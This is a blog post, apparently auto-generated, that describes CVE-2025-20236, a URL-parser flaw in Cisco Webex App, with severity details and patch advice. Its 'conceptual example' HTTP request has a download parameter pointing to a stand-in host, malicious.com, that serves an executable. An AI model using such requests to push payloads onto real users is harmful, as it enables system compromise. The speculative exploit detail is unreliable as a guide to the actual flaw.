{"id":31356,"date":"2025-04-25T23:24:08","date_gmt":"2025-04-25T23:24:08","guid":{"rendered":""},"modified":"2025-05-29T12:36:37","modified_gmt":"2025-05-29T18:36:37","slug":"cve-2025-20236-critical-vulnerability-in-cisco-webex-app-url-parser","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-20236-critical-vulnerability-in-cisco-webex-app-url-parser\/","title":{"rendered":"CVE-2025-20236: Critical Vulnerability in Cisco Webex App URL Parser<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

A critical vulnerability, identified as CVE-2025-20236, has been discovered in the custom URL parser of Cisco’s Webex App. This vulnerability has a potential to compromise systems and leak sensitive data if exploited. The flaw is significant due to the widespread use of Cisco’s<\/a> Webex App in corporate environments for virtual meetings and team collaborations. This makes it a lucrative target for threat<\/a> actors aiming to infiltrate systems and gain unauthorized access to sensitive data.
\nThe vulnerability affects all users<\/a> of the Cisco Webex App, with potential repercussions extending to the organizations that they represent. The severity of this vulnerability underscores the importance of maintaining up-to-date security<\/a> measures and patches.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-20236
\nSeverity: Critical (8.8 CVSS Score)
\nAttack Vector: Remote
\nPrivileges Required: None
\nUser Interaction: Required
\nImpact: Potential system<\/a> compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Cisco Webex App | All versions prior<\/a> to the latest patch<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit takes advantage of insufficient input validation<\/a> in the custom URL parser of the Cisco Webex App. In a typical scenario, an attacker persuades a user to click on a maliciously crafted meeting invite link. This link, when clicked, triggers the download of arbitrary files<\/a> onto the user’s device. The downloaded files contain malicious code that, when executed, allows the attacker to run arbitrary commands<\/a> with the privileges of the targeted user.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

While this is not a working code, the following example illustrates how a malicious HTTP request might be crafted to exploit this vulnerability<\/a>:<\/p>\n

GET \/invite?meetingID=123456&download=http:\/\/malicious.com\/arbitrary_file.exe HTTP\/1.1\nHost: webex.com\nUser-Agent: Mozilla\/5.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nDNT: 1\nConnection: keep-alive\nReferer: http:\/\/malicious.com\/invite_link\nUpgrade-Insecure-Requests: 1<\/code><\/pre>\n
In this example, the malicious URL embedded in the `download` parameter triggers the download and execution of an arbitrary file<\/a> from the attacker’s server when the user clicks on the meeting invite link.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
Users are advised to apply the latest<\/a> vendor patch immediately to fix this vulnerability. As a temporary mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to block malicious traffic and prevent exploitation of this vulnerability<\/a>. Regularly updating software and maintaining robust security<\/a> measures can minimize the risk of future exploits.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview A critical vulnerability, identified as CVE-2025-20236, has been discovered in the custom URL parser of Cisco’s Webex App. This vulnerability has a potential to compromise systems and leak sensitive data if exploited. The flaw is significant due to the widespread use of Cisco’s Webex App in corporate environments for virtual meetings and team collaborations. […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[96],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-31356","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-cisco"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t